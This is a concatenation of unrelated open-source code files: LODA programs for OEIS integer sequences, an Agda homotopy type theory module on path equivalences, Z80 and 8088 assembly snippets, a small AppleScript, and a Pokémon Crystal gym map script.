; A340806: a(n) = Sum_{k=1..n-1} (k^n mod n). ; Submitted by <NAME>(s3) ; 0,1,3,2,10,13,21,4,27,45,55,38,78,77,105,8,136,93,171,146,210,209,253,172,250,325,243,294,406,365,465,16,528,561,595,402,666,665,741,372,820,673,903,726,945,897,1081,536,1029,1125,1275,1170,1378,765,1485,924,1596,1653,1711,1078,1830,1705,1890,32,2080,2057,2211,1666,2346,2205,2485,1668,2628,2701,2625,2470,2926,2665,3081,1064,2187,3321,3403,3026,3570,3569,3741,3564,3916,3165,4095,3542,4278,3901,4465,2608,4656,3773,4752,3330 add $0,1 mov $2,$0 lpb $0 mov $4,$0 sub $0,1 pow $4,$2 mod $4,$2 add $3,$4 lpe mov $0,$3
core/lib/types/Paths.agda
timjb/HoTT-Agda
0
7108
{-# OPTIONS --without-K --rewriting #-} open import lib.Basics module lib.types.Paths where {- ! is an equivalence and works on ≠ -} module _ {i} {A : Type i} {x y : A} where !-equiv : (x == y) ≃ (y == x) !-equiv = equiv ! ! !-! !-! ≠-inv : (x ≠ y) → (y ≠ x) ≠-inv x≠y y=x = x≠y (! y=x) {- Pre- and post- concatenation are equivalences -} module _ {i} {A : Type i} {x y z : A} where pre∙-is-equiv : (p : x == y) → is-equiv (λ (q : y == z) → p ∙ q) pre∙-is-equiv p = is-eq (λ q → p ∙ q) (λ r → ! p ∙ r) f-g g-f where f-g : ∀ r → p ∙ ! p ∙ r == r f-g r = ! (∙-assoc p (! p) r) ∙ ap (λ s → s ∙ r) (!-inv-r p) g-f : ∀ q → ! p ∙ p ∙ q == q g-f q = ! (∙-assoc (! p) p q) ∙ ap (λ s → s ∙ q) (!-inv-l p) pre∙-equiv : (p : x == y) → (y == z) ≃ (x == z) pre∙-equiv p = ((λ q → p ∙ q) , pre∙-is-equiv p) post∙-is-equiv : (p : y == z) → is-equiv (λ (q : x == y) → q ∙ p) post∙-is-equiv p = is-eq (λ q → q ∙ p) (λ r → r ∙ ! p) f-g g-f where f-g : ∀ r → (r ∙ ! p) ∙ p == r f-g r = ∙-assoc r (! p) p ∙ ap (λ s → r ∙ s) (!-inv-l p) ∙ ∙-unit-r r g-f : ∀ q → (q ∙ p) ∙ ! p == q g-f q = ∙-assoc q p (! p) ∙ ap (λ s → q ∙ s) (!-inv-r p) ∙ ∙-unit-r q post∙-equiv : (p : y == z) → (x == y) ≃ (x == z) post∙-equiv p = ((λ q → q ∙ p) , post∙-is-equiv p) pre∙'-is-equiv : (p : x == y) → is-equiv (λ (q : y == z) → p ∙' q) pre∙'-is-equiv p = is-eq (λ q → p ∙' q) (λ r → ! p ∙' r) f-g g-f where f-g : ∀ r → p ∙' ! p ∙' r == r f-g r = ! (∙'-assoc p (! p) r) ∙ ap (λ s → s ∙' r) (!-inv'-r p) ∙ ∙'-unit-l r g-f : ∀ q → ! p ∙' p ∙' q == q g-f q = ! (∙'-assoc (! p) p q) ∙ ap (λ s → s ∙' q) (!-inv'-l p) ∙ ∙'-unit-l q pre∙'-equiv : (p : x == y) → (y == z) ≃ (x == z) pre∙'-equiv p = ((λ q → p ∙' q) , pre∙'-is-equiv p) post∙'-is-equiv : (p : y == z) → is-equiv (λ (q : x == y) → q ∙' p) post∙'-is-equiv p = is-eq (λ q → q ∙' p) (λ r → r ∙' ! p) f-g g-f where f-g : ∀ r → (r ∙' ! p) ∙' p == r f-g r = ∙'-assoc r (! p) p ∙ ap (λ s → r ∙' s) (!-inv'-l p) g-f : ∀ q → (q ∙' p) ∙' ! p == q g-f q = ∙'-assoc q p (! p) ∙ ap (λ s → q ∙' s) (!-inv'-r p) post∙'-equiv : (p : y == z) → (x == y) ≃ (x == z) post∙'-equiv p = ((λ q → q ∙' p) , post∙'-is-equiv p) module _ {i j} {A : Type i} {B : Type j} {f : A → B} {x y : A} {b : B} where ↓-app=cst-in : {p : x == y} {u : f x == b} {v : f y == b} → u == (ap f p ∙ v) → (u == v [ (λ x → f x == b) ↓ p ]) ↓-app=cst-in {p = idp} q = q ↓-app=cst-out : {p : x == y} {u : f x == b} {v : f y == b} → (u == v [ (λ x → f x == b) ↓ p ]) → u == (ap f p ∙ v) ↓-app=cst-out {p = idp} r = r ↓-app=cst-β : {p : x == y} {u : f x == b} {v : f y == b} → (q : u == (ap f p ∙ v)) → ↓-app=cst-out {p = p} (↓-app=cst-in q) == q ↓-app=cst-β {p = idp} q = idp ↓-app=cst-η : {p : x == y} {u : f x == b} {v : f y == b} → (q : u == v [ (λ x → f x == b) ↓ p ]) → ↓-app=cst-in (↓-app=cst-out q) == q ↓-app=cst-η {p = idp} q = idp ↓-app=cst-econv : {p : x == y} {u : f x == b} {v : f y == b} → (u == (ap f p ∙ v)) ≃ (u == v [ (λ x → f x == b) ↓ p ]) ↓-app=cst-econv {p = p} = equiv ↓-app=cst-in ↓-app=cst-out (↓-app=cst-η {p = p}) (↓-app=cst-β {p = p}) ↓-cst=app-in : {p : x == y} {u : b == f x} {v : b == f y} → (u ∙' ap f p) == v → (u == v [ (λ x → b == f x) ↓ p ]) ↓-cst=app-in {p = idp} q = q ↓-cst=app-out : {p : x == y} {u : b == f x} {v : b == f y} → (u == v [ (λ x → b == f x) ↓ p ]) → (u ∙' ap f p) == v ↓-cst=app-out {p = idp} r = r ↓-cst=app-econv : {p : x == y} {u : b == f x} {v : b == f y} → ((u ∙' ap f p) == v) ≃ (u == v [ (λ x → b == f x) ↓ p ]) ↓-cst=app-econv {p = idp} = equiv ↓-cst=app-in ↓-cst=app-out (λ _ → idp) (λ _ → idp) {- alternative versions -} module _ {i j} {A : Type i} {B : Type j} {f : A → B} {x y : A} {b : B} where ↓-app=cst-in' : {p : x == y} {u : f x == b} {v : f y == b} → u == (ap f p ∙' v) → (u == v [ (λ x → f x == b) ↓ p ]) ↓-app=cst-in' {p = idp} {v = idp} q = q ↓-app=cst-out' : {p : x == y} {u : f x == b} {v : f y == b} → (u == v [ (λ x → f x == b) ↓ p ]) → u == (ap f p ∙' v) ↓-app=cst-out' {p = idp} {v = idp} r = r ↓-app=cst-β' : {p : x == y} {u : f x == b} {v : f y == b} → (q : u == (ap f p ∙' v)) → ↓-app=cst-out' {p = p} {v = v} (↓-app=cst-in' q) == q ↓-app=cst-β' {p = idp} {v = idp} q = idp ↓-app=cst-η' : {p : x == y} {u : f x == b} {v : f y == b} → (q : u == v [ (λ x → f x == b) ↓ p ]) → ↓-app=cst-in' (↓-app=cst-out' q) == q ↓-app=cst-η' {p = idp} {v = idp} q = idp ↓-cst=app-in' : {p : x == y} {u : b == f x} {v : b == f y} → (u ∙ ap f p) == v → (u == v [ (λ x → b == f x) ↓ p ]) ↓-cst=app-in' {p = idp} {u = idp} q = q ↓-cst=app-out' : {p : x == y} {u : b == f x} {v : b == f y} → (u == v [ (λ x → b == f x) ↓ p ]) → (u ∙ ap f p) == v ↓-cst=app-out' {p = idp} {u = idp} r = r module _ {i} {A : Type i} where ↓-app=idf-in : {f : A → A} {x y : A} {p : x == y} {u : f x == x} {v : f y == y} → u ∙' p == ap f p ∙ v → u == v [ (λ z → f z == z) ↓ p ] ↓-app=idf-in {p = idp} q = q ↓-app=idf-out : {f : A → A} {x y : A} {p : x == y} {u : f x == x} {v : f y == y} → u == v [ (λ z → f z == z) ↓ p ] → u ∙' p == ap f p ∙ v ↓-app=idf-out {p = idp} q = q ↓-cst=idf-in : {a : A} {x y : A} {p : x == y} {u : a == x} {v : a == y} → (u ∙' p) == v → (u == v [ (λ x → a == x) ↓ p ]) ↓-cst=idf-in {p = idp} q = q ↓-cst=idf-in' : {a : A} {x y : A} {p : x == y} {u : a == x} {v : a == y} → (u ∙ p) == v → (u == v [ (λ x → a == x) ↓ p ]) ↓-cst=idf-in' {p = idp} q = ! (∙-unit-r _) ∙ q ↓-idf=cst-in : {a : A} {x y : A} {p : x == y} {u : x == a} {v : y == a} → u == p ∙ v → (u == v [ (λ x → x == a) ↓ p ]) ↓-idf=cst-in {p = idp} q = q ↓-idf=cst-out : {a : A} {x y : A} {p : x == y} {u : x == a} {v : y == a} → (u == v [ (λ x → x == a) ↓ p ]) → u == p ∙ v ↓-idf=cst-out {p = idp} q = q ↓-idf=cst-in' : {a : A} {x y : A} {p : x == y} {u : x == a} {v : y == a} → u == p ∙' v → (u == v [ (λ x → x == a) ↓ p ]) ↓-idf=cst-in' {p = idp} q = q ∙ ∙'-unit-l _ ↓-idf=idf-in' : {x y : A} {p : x == y} {u : x == x} {v : y == y} → u ∙ p == p ∙' v → (u == v [ (λ x → x == x) ↓ p ]) ↓-idf=idf-in' {p = idp} q = ! (∙-unit-r _) ∙ q ∙ ∙'-unit-l _ ↓-idf=idf-out' : {x y : A} {p : x == y} {u : x == x} {v : y == y} → (u == v [ (λ x → x == x) ↓ p ]) → u ∙ p == p ∙' v ↓-idf=idf-out' {p = idp} q = ∙-unit-r _ ∙ q ∙ ! (∙'-unit-l _) {- Nondependent identity type -} ↓-='-in : ∀ {i j} {A : Type i} {B : Type j} {f g : A → B} {x y : A} {p : x == y} {u : f x == g x} {v : f y == g y} → (u ∙' ap g p) == (ap f p ∙ v) → (u == v [ (λ x → f x == g x) ↓ p ]) ↓-='-in {p = idp} q = q ↓-='-out : ∀ {i j} {A : Type i} {B : Type j} {f g : A → B} {x y : A} {p : x == y} {u : f x == g x} {v : f y == g y} → (u == v [ (λ x → f x == g x) ↓ p ]) → (u ∙' ap g p) == (ap f p ∙ v) ↓-='-out {p = idp} q = q ↓-='-in' : ∀ {i j} {A : Type i} {B : Type j} {f g : A → B} {x y : A} {p : x == y} {u : f x == g x} {v : f y == g y} → (u ∙ ap g p) == (ap f p ∙' v) → (u == v [ (λ x → f x == g x) ↓ p ]) ↓-='-in' {p = idp} q = ! (∙-unit-r _) ∙ q ∙ (∙'-unit-l _) ↓-='-out' : ∀ {i j} {A : Type i} {B : Type j} {f g : A → B} {x y : A} {p : x == y} {u : f x == g x} {v : f y == g y} → (u == v [ (λ x → f x == g x) ↓ p ]) → (u ∙ ap g p) == (ap f p ∙' v) ↓-='-out' {p = idp} q = (∙-unit-r _) ∙ q ∙ ! (∙'-unit-l _) {- Identity type where the type is dependent -} ↓-=-in : ∀ {i j} {A : Type i} {B : A → Type j} {f g : Π A B} {x y : A} {p : x == y} {u : g x == f x} {v : g y == f y} → (u ◃ apd f p) == (apd g p ▹ v) → (u == v [ (λ x → g x == f x) ↓ p ]) ↓-=-in {B = B} {p = idp} {u} {v} q = ! (◃idp {B = B} u) ∙ q ∙ idp▹ {B = B} v ↓-=-out : ∀ {i j} {A : Type i} {B : A → Type j} {f g : Π A B} {x y : A} {p : x == y} {u : g x == f x} {v : g y == f y} → (u == v [ (λ x → g x == f x) ↓ p ]) → (u ◃ apd f p) == (apd g p ▹ v) ↓-=-out {B = B} {p = idp} {u} {v} q = (◃idp {B = B} u) ∙ q ∙ ! (idp▹ {B = B} v) -- Dependent path in a type of the form [λ x → g (f x) == x] module _ {i j} {A : Type i} {B : Type j} (g : B → A) (f : A → B) where ↓-∘=idf-in' : {x y : A} {p : x == y} {u : g (f x) == x} {v : g (f y) == y} → ((ap g (ap f p) ∙' v) == (u ∙ p)) → (u == v [ (λ x → g (f x) == x) ↓ p ]) ↓-∘=idf-in' {p = idp} q = ! (∙-unit-r _) ∙ (! q) ∙ (∙'-unit-l _) -- WIP, derive it from more primitive principles -- ↓-∘=id-in f g {p = p} {u} {v} q = -- ↓-=-in (u ◃ apd (λ x → g (f x)) p =⟨ apd-∘ f g p |in-ctx (λ t → u ◃ t) ⟩ -- u ◃ ↓-apd-out _ f p (apdd g p (apd f p)) =⟨ apdd-cst (λ _ b → g b) p (ap f p) (! (apd-nd f p)) |in-ctx (λ t → u ◃ ↓-apd-out _ f p t) ⟩ -- u ◃ ↓-apd-out _ f p (apd (λ t → g (π₂ t)) (pair= p (apd f p))) =⟨ apd-∘ π₂ g (pair= p (apd f p)) |in-ctx (λ t → u ◃ ↓-apd-out _ f p t) ⟩ -- u ◃ ↓-apd-out _ f p (↓-apd-out _ π₂ (pair= p (apd f p)) (apdd g (pair= p (apd f p)) (apd π₂ (pair= p (apd f p))))) =⟨ {!!} ⟩ -- apd (λ x → x) p ▹ v ∎) -- module _ {i j} {A : Type i} {B : Type j} {x y z : A → B} where -- lhs : -- {a a' : A} {p : a == a'} {q : x a == y a} {q' : x a' == y a'} -- {r : y a == z a} {r' : y a' == z a'} -- (α : q == q' [ (λ a → x a == y a) ↓ p ]) -- (β : r ∙ ap z p == ap y p ∙' r') -- → (q ∙' r) ∙ ap z p == ap x p ∙' q' ∙' r' -- lhs = -- (q ∙' r) ∙ ap z p =⟨ ? ⟩ -- assoc -- q ∙' (r ∙ ap z p) =⟨ ? ⟩ -- β -- q ∙' (ap y p ∙' r') =⟨ ? ⟩ -- assoc -- (q ∙' ap y p) ∙' r' =⟨ ? ⟩ -- ∙ = ∙' -- (q ∙ ap y p) ∙' r' =⟨ ? ⟩ -- α -- (ap x p ∙' q') ∙' r' =⟨ ? ⟩ -- assoc -- ap x p ∙' q' ∙' r' ∎ -- thing : -- {a a' : A} {p : a == a'} {q : x a == y a} {q' : x a' == y a'} -- {r : y a == z a} {r' : y a' == z a'} -- (α : q == q' [ (λ a → x a == y a) ↓ p ]) -- (β : r ∙ ap z p == ap y p ∙' r') -- → (_∙'2ᵈ_ {r = r} {r' = r'} α (↓-='-in' β) == ↓-='-in' {!!}) -- thing = {!!}
libsrc/adt/linkedlist/adt_ListPrepend.asm
andydansby/z88dk-mk2
1
168240
<reponame>andydansby/z88dk-mk2 ; int adt_ListPrepend(struct adt_List *list, void *item) ; CALLER linkage for function pointers XLIB adt_ListPrepend LIB adt_ListPrepend_callee XREF ASMDISP_ADT_LISTPREPEND_CALLEE .adt_ListPrepend pop hl pop bc pop de push de push bc push hl jp adt_ListPrepend_callee + ASMDISP_ADT_LISTPREPEND_CALLEE
8088/cga/calibrate/test_pattern/test.asm
reenigne/reenigne
92
176326
<reponame>reenigne/reenigne org 0x100 mov ax,2 int 0x10 mov dx,0x3d8 mov al,0x08 out dx,al mov ax,0xb800 mov es,ax mov ax,0x00b0 xor di,di mov cx,16 loopY: push cx mov cx,16 loopX: stosw inc ah loop loopX add di,160-32 pop cx loop loopY end: jmp end
oeis/124/A124644.asm
neoneye/loda-programs
11
6436
<filename>oeis/124/A124644.asm<gh_stars>10-100 ; A124644: Mirror image of A098474 formatted as a triangular array. ; Submitted by <NAME> ; 1,1,1,2,2,1,5,6,3,1,14,20,12,4,1,42,70,50,20,5,1,132,252,210,100,30,6,1,429,924,882,490,175,42,7,1,1430,3432,3696,2352,980,280,56,8,1,4862,12870,15444,11088,5292,1764,420,72,9,1,16796,48620,64350,51480,27720,10584,2940,600,90,10,1,58786,184756,267410,235950,141570,60984,19404,4620,825,110,11,1,208012,705432,1108536,1069640,707850,339768,121968,33264,6930,1100,132,12,1,742900,2704156,4585308,4803656,3476330,1840410,736164,226512,54054 lpb $0 add $1,1 sub $0,$1 mov $2,$1 sub $2,$0 lpe bin $1,$0 mov $0,2 mul $0,$2 bin $0,$2 add $2,1 div $0,$2 mul $1,$0 mov $0,$1
libsrc/_DEVELOPMENT/adt/p_list/c/sccz80/p_list_empty.asm
jpoikela/z88dk
640
101172
; int p_list_empty(p_list_t *list) SECTION code_clib SECTION code_adt_p_list PUBLIC p_list_empty EXTERN asm_p_list_empty defc p_list_empty = asm_p_list_empty ; SDCC bridge for Classic IF __CLASSIC PUBLIC _p_list_empty defc _p_list_empty = p_list_empty ENDIF
bin/.osa/run_finder.scpt
gwurr3/.cfg
1
3574
tell application "Finder" make New Finder Window activate end tell
oeis/036/A036263.asm
neoneye/loda-programs
11
90684
; A036263: Second differences of primes. ; Submitted by <NAME> ; 1,0,2,-2,2,-2,2,2,-4,4,-2,-2,2,2,0,-4,4,-2,-2,4,-2,2,2,-4,-2,2,-2,2,10,-10,2,-4,8,-8,4,0,-2,2,0,-4,8,-8,2,-2,10,0,-8,-2,2,2,-4,8,-4,0,0,-4,4,-2,-2,8,4,-10,-2,2,10,-8,4,-8,2,2,2,-2,0,-2,2,2,-4,4,2,-8,8,-8,4,-2,2,2,-4,-2,2,8,-4,-4,4,-4,2,6,-10,16,-12,4 mov $3,2 mov $4,$0 lpb $3 mov $0,$4 div $3,2 add $0,$3 seq $0,1223 ; Prime gaps: differences between consecutive primes. mov $2,$3 mul $2,$0 add $1,$2 mov $5,$0 lpe sub $1,$5 mov $0,$1
programs/oeis/101/A101384.asm
karttu/loda
1
85749
; A101384: a(n) = n*(n-1)^3*(n^2-n-1)/2. ; 0,0,1,60,594,3040,10875,30996,75460,163584,324405,599500,1046166,1740960,2783599,4301220,6453000,9435136,13486185,18892764,25995610,35196000,46962531,61838260,80448204,103507200,131828125,166330476,208049310,258144544,317910615,388786500,472366096,570408960,684851409,817817980,971633250,1148834016,1352181835,1584675924,1849566420,2150368000,2490873861,2875170060,3307650214,3793030560,4336365375,4943062756,5618900760,6370043904,7203060025,8124937500,9143102826,10265438560,11500301619,12856541940,14343521500,15971133696,17749823085,19690605484,21805088430,24105492000,26604669991,29316131460,32254062624,35433349120,38869598625,42579163836,46579165810,50887517664,55522948635,60505028500,65854192356,71591765760,77739990229,84322049100,91362093750,98885270176,106917745935,115486737444,124620537640,134348544000,144701286921,155710458460,167408941434,179830838880,193011503875,206987569716,221796980460,237479021824,254074352445,271625035500,290174570686,309767926560,330451573239,352273515460,375283326000,399532179456,425072886385,451959927804,480249490050,509999500000,541269660651,574121487060,608618342644,644825475840,682810057125,722641216396,764390080710,808129812384,853935647455,901884934500,952057173816,1004534056960,1059399506649,1116739717020,1176643194250,1239200797536,1304505780435,1372653832564,1443743121660,1517874336000,1595150727181,1675678153260,1759565122254,1846922836000,1937865234375,2032509039876,2130973802560,2233381945344,2339858809665,2450532701500,2565534937746,2684999892960,2809065046459,2937871029780,3071561674500,3210284060416,3354188564085,3503428907724,3658162208470,3818549028000,3984753422511,4156942993060,4335288936264,4519966095360,4711153011625,4909031976156,5113789082010,5325614276704,5544701415075,5771248312500,6005456798476,6247532770560,6497686248669,6756131429740,7023086742750,7298774904096,7583422973335,7877262409284,8180529126480,8493463552000,8816310682641,9149320142460,9492746240674,9846848029920,10211889364875,10588138961236,10975870455060,11375362462464,11786898639685,12210767743500,12647263692006,13096685625760,13559337969279,14035530492900,14525578375000,15029802264576,15548528344185,16082088393244,16630819851690,17195065884000,17775175443571,18371503337460,18984410291484,19614263015680,20261434270125,20926302931116,21609254057710,22310678958624,23030975259495,23770546970500,24529804554336,25309164994560,26109051864289,26929895395260,27772132547250,28636207077856,29522569612635,30431677715604,31363995960100,32319996000000,33300156641301,34304963914060,35334911144694,36390499028640,37472235703375,38580636821796,39716225625960,40879533021184,42071097650505,43291465969500,44541192321466,45820839012960,47130976389699,48472182912820,49845045235500,51250158279936,52688125314685,54159558032364,55665076627710,57205309876000,58780895211831,60392478808260,62040715656304,63726269644800,65449813640625,67212029569276,69013608495810,70855250706144,72737665788715,74661572716500,76627699929396,78636785416960,80689576801509,82786831421580,84929316415750,87117808806816,89353095586335,91635973799524,93967250630520,96347743488000,98778280091161,101259698556060,103792847482314,106378586040160,109017784057875,111711322109556,114460091603260,117264994869504 mov $3,$0 sub $0,1 mov $2,$0 pow $0,2 mul $0,$3 sub $3,1 sub $3,$0 mov $1,$3 sub $3,$2 mul $1,$3 div $1,2
oeis/135/A135273.asm
neoneye/loda-programs
11
10751
<reponame>neoneye/loda-programs ; A135273: Row 9 of A038207. ; Submitted by <NAME> ; 512,2304,4608,5376,4032,2016,672,144,18,1 mov $2,9 sub $2,$0 add $0,$2 bin $0,$2 mov $1,2 pow $1,$2 mul $0,$1
src/parse-tree.agda
xoltar/cedille
0
11665
<filename>src/parse-tree.agda module parse-tree where open import lib record ParseTreeRec : Set lone where field ParseTreeT : Set isParseTree : ParseTreeT → 𝕃 char → string → Set ParseTreeToString : ParseTreeT → string
test/Compiler/simple/UHC-FFI.agda
agda/agda-uhc
4
9192
<gh_stars>1-10 -- Checks that UHC FFI calls using non-magic datatypes work module UHC-FFI where data Nat : Set where Zero : Nat Suc : Nat -> Nat {-# COMPILE UHC Nat = data UHC.Agda.Builtins.Nat (Zero | Suc) #-} {-# FOREIGN UHC __IMPORT__ Data.Char #-} open import Common.IO open import Common.Unit open import Common.String open import Common.Char postulate toLower : Char -> Char {-# COMPILE UHC toLower = Data.Char.toLower #-} main : IO Unit main = putStr (charToStr (toLower 'A'))
src/main/antlr/Level.g4
qwewqa/trebla
5
5996
grammar Level; import UnicodeClasses; @header { package xyz.qwewqa.trebla.grammar.generated; } LineComment : '//' ~[\u000A\u000D]* -> channel(HIDDEN) ; WS : ([\u0020\u0009\u000C] | NL) -> skip ; NL: '\u000A' | '\u000D' '\u000A' ; Identifier : (Letter | '_') (Letter | '_' | DecDigit)* | '`' ~('`')+ '`' ; FloatLiteral : '-'? DecDigit+ '.' DecDigit+ ; IntegerLiteral : '-'? DecDigit+ ; fragment DecDigit : UNICODE_CLASS_ND ; BooleanLiteral : 'true' | 'false' ; fragment Letter : UNICODE_CLASS_LL | UNICODE_CLASS_LM | UNICODE_CLASS_LO | UNICODE_CLASS_LT | UNICODE_CLASS_LU | UNICODE_CLASS_NL ; levelFile: entity* EOF ; entity: (entityName '=')? archetypeName NL* '(' NL* (parameter ( NL* ',' NL* parameter)* ','?)? NL* ')' NL* ; entityName: Identifier ; archetypeName: Identifier ; parameter: Identifier '=' (BooleanLiteral | IntegerLiteral | FloatLiteral | entityName) ;
maps/AzaleaGym.asm
Dev727/ancientplatinum
28
8938
object_const_def ; object_event constants const AZALEAGYM_BUGSY const AZALEAGYM_BUG_CATCHER1 const AZALEAGYM_BUG_CATCHER2 const AZALEAGYM_BUG_CATCHER3 const AZALEAGYM_TWIN1 const AZALEAGYM_TWIN2 const AZALEAGYM_GYM_GUY AzaleaGym_MapScripts: db 0 ; scene scripts db 0 ; callbacks AzaleaGymBugsyScript: faceplayer opentext checkevent EVENT_BEAT_BUGSY iftrue .FightDone writetext BugsyText_INeverLose waitbutton closetext winlosstext BugsyText_ResearchIncomplete, 0 loadtrainer BUGSY, BUGSY1 startbattle reloadmapafterbattle setevent EVENT_BEAT_BUGSY opentext writetext Text_ReceivedHiveBadge playsound SFX_GET_BADGE waitsfx setflag ENGINE_HIVEBADGE readvar VAR_BADGES scall AzaleaGymActivateRockets .FightDone: checkevent EVENT_GOT_TM49_FURY_CUTTER iftrue .GotFuryCutter setevent EVENT_BEAT_TWINS_AMY_AND_MAY setevent EVENT_BEAT_BUG_CATCHER_BENNY setevent EVENT_BEAT_BUG_CATCHER_AL setevent EVENT_BEAT_BUG_CATCHER_JOSH writetext BugsyText_HiveBadgeSpeech buttonsound verbosegiveitem TM_FURY_CUTTER iffalse .NoRoomForFuryCutter setevent EVENT_GOT_TM49_FURY_CUTTER writetext BugsyText_FuryCutterSpeech waitbutton closetext end .GotFuryCutter: writetext BugsyText_BugMonsAreDeep waitbutton .NoRoomForFuryCutter: closetext end AzaleaGymActivateRockets: ifequal 7, .RadioTowerRockets ifequal 6, .GoldenrodRockets end .GoldenrodRockets: jumpstd goldenrodrockets .RadioTowerRockets: jumpstd radiotowerrockets TrainerTwinsAmyandmay1: trainer TWINS, AMYANDMAY1, EVENT_BEAT_TWINS_AMY_AND_MAY, TwinsAmyandmay1SeenText, TwinsAmyandmay1BeatenText, 0, .AfterScript .AfterScript: endifjustbattled opentext writetext TwinsAmyandmay1AfterBattleText waitbutton closetext end TrainerTwinsAmyandmay2: trainer TWINS, AMYANDMAY2, EVENT_BEAT_TWINS_AMY_AND_MAY, TwinsAmyandmay2SeenText, TwinsAmyandmay2BeatenText, 0, .AfterScript .AfterScript: endifjustbattled opentext writetext TwinsAmyandmay2AfterBattleText waitbutton closetext end TrainerBugCatcherBenny: trainer BUG_CATCHER, BUG_CATCHER_BENNY, EVENT_BEAT_BUG_CATCHER_BENNY, BugCatcherBennySeenText, BugCatcherBennyBeatenText, 0, .AfterScript .AfterScript: endifjustbattled opentext writetext BugCatcherBennyAfterBattleText waitbutton closetext end TrainerBugCatcherAl: trainer BUG_CATCHER, AL, EVENT_BEAT_BUG_CATCHER_AL, BugCatcherAlSeenText, BugCatcherAlBeatenText, 0, .AfterScript .AfterScript: endifjustbattled opentext writetext BugCatcherAlAfterBattleText waitbutton closetext end TrainerBugCatcherJosh: trainer BUG_CATCHER, JOSH, EVENT_BEAT_BUG_CATCHER_JOSH, BugCatcherJoshSeenText, BugCatcherJoshBeatenText, 0, .AfterScript .AfterScript: endifjustbattled opentext writetext BugCatcherJoshAfterBattleText waitbutton closetext end AzaleaGymGuyScript: faceplayer checkevent EVENT_BEAT_BUGSY iftrue .AzaleaGymGuyWinScript opentext writetext AzaleaGymGuyText waitbutton closetext end .AzaleaGymGuyWinScript: opentext writetext AzaleaGymGuyWinText waitbutton closetext end AzaleaGymStatue: checkflag ENGINE_HIVEBADGE iftrue .Beaten jumpstd gymstatue1 .Beaten: gettrainername STRING_BUFFER_4, BUGSY, BUGSY1 jumpstd gymstatue2 BugsyText_INeverLose: text "I'm BUGSY!" line "I never lose when" para "it comes to bug" line "#MON." para "My research is" line "going to make me" para "the authority on" line "bug #MON!" para "Let me demonstrate" line "what I've learned" cont "from my studies." done BugsyText_ResearchIncomplete: text "Whoa, amazing!" line "You're an expert" cont "on #MON!" para "My research isn't" line "complete yet." para "OK, you win. Take" line "this BADGE." done Text_ReceivedHiveBadge: text "<PLAYER> received" line "HIVEBADGE." done BugsyText_HiveBadgeSpeech: text "Do you know the" line "benefits of HIVE-" cont "BADGE?" para "If you have it," line "#MON up to L30" para "will obey you," line "even traded ones." para "#MON that know" line "CUT will be able" para "to use it outside" line "of battle too." para "Here, I also want" line "you to have this." done BugsyText_FuryCutterSpeech: text "TM49 contains" line "FURY CUTTER." para "If you don't miss," line "it gets stronger" cont "every turn." para "The longer your" line "battle goes, the" cont "better it gets." para "Isn't that great?" line "I discovered it!" done BugsyText_BugMonsAreDeep: text "Bug #MON are" line "deep. There are" para "many mysteries to" line "be explored." para "Study your favor-" line "ites thoroughly." done BugCatcherBennySeenText: text "Bug #MON evolve" line "young. So they get" para "stronger that much" line "faster." done BugCatcherBennyBeatenText: text "Just evolving" line "isn't enough!" done BugCatcherBennyAfterBattleText: text "#MON become" line "stronger if they" cont "evolve. Really!" done BugCatcherAlSeenText: text "Bug #MON are" line "cool and tough!" para "I'll prove it to" line "you!" done BugCatcherAlBeatenText: text "You proved how" line "tough you are…" done BugCatcherAlAfterBattleText: text "They're so cool," line "but most girls" para "don't like bug" line "#MON." para "I don't know why…" done BugCatcherJoshSeenText: text "You saved all the" line "SLOWPOKE? Whew," cont "you're mighty!" para "But my grown-up" line "#MON are pretty" cont "tough too!" done BugCatcherJoshBeatenText: text "Urrgggh!" done BugCatcherJoshAfterBattleText: text "I guess I should" line "teach them better" cont "moves…" done TwinsAmyandmay1SeenText: text "AMY: Hi! Are you" line "challenging the" cont "LEADER? No way!" done TwinsAmyandmay1BeatenText: text "AMY & MAY: Oh," line "double goodness!" done TwinsAmyandmay1AfterBattleText: text "AMY: You're" line "really strong!" done TwinsAmyandmay2SeenText: text "MAY: You want to" line "see the LEADER?" cont "We come first!" done TwinsAmyandmay2BeatenText: text "AMY & MAY: Oh," line "double goodness!" done TwinsAmyandmay2AfterBattleText: text "MAY: Our bug #-" line "MON lost! Oh, what" cont "a shame." done AzaleaGymGuyText: text "Yo, challenger!" para "BUGSY's young, but" line "his knowledge of" para "bug #MON is for" line "real." para "It's going to be" line "tough without my" cont "advice." para "Let's see… Bug" line "#MON don't like" cont "fire." para "Flying-type moves" line "are super-effec-" cont "tive too." done AzaleaGymGuyWinText: text "Well done! That" line "was a great clash" para "of talented young" line "trainers." para "With people like" line "you, the future of" cont "#MON is bright!" done AzaleaGym_MapEvents: db 0, 0 ; filler db 2 ; warp events warp_event 4, 15, AZALEA_TOWN, 5 warp_event 5, 15, AZALEA_TOWN, 5 db 0 ; coord events db 2 ; bg events bg_event 3, 13, BGEVENT_READ, AzaleaGymStatue bg_event 6, 13, BGEVENT_READ, AzaleaGymStatue db 7 ; object events object_event 5, 7, SPRITE_BUGSY, SPRITEMOVEDATA_SPINRANDOM_SLOW, 0, 0, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, AzaleaGymBugsyScript, -1 object_event 5, 3, SPRITE_BUG_CATCHER, SPRITEMOVEDATA_SPINRANDOM_FAST, 0, 0, -1, -1, PAL_NPC_BROWN, OBJECTTYPE_TRAINER, 2, TrainerBugCatcherBenny, -1 object_event 8, 8, SPRITE_BUG_CATCHER, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_BROWN, OBJECTTYPE_TRAINER, 3, TrainerBugCatcherAl, -1 object_event 0, 2, SPRITE_BUG_CATCHER, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_BROWN, OBJECTTYPE_TRAINER, 3, TrainerBugCatcherJosh, -1 object_event 4, 10, SPRITE_TWIN, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_TRAINER, 1, TrainerTwinsAmyandmay1, -1 object_event 5, 10, SPRITE_TWIN, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_TRAINER, 1, TrainerTwinsAmyandmay2, -1 object_event 7, 13, SPRITE_GYM_GUY, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, AzaleaGymGuyScript, -1
programs/oeis/324/A324161.asm
karttu/loda
0
17987
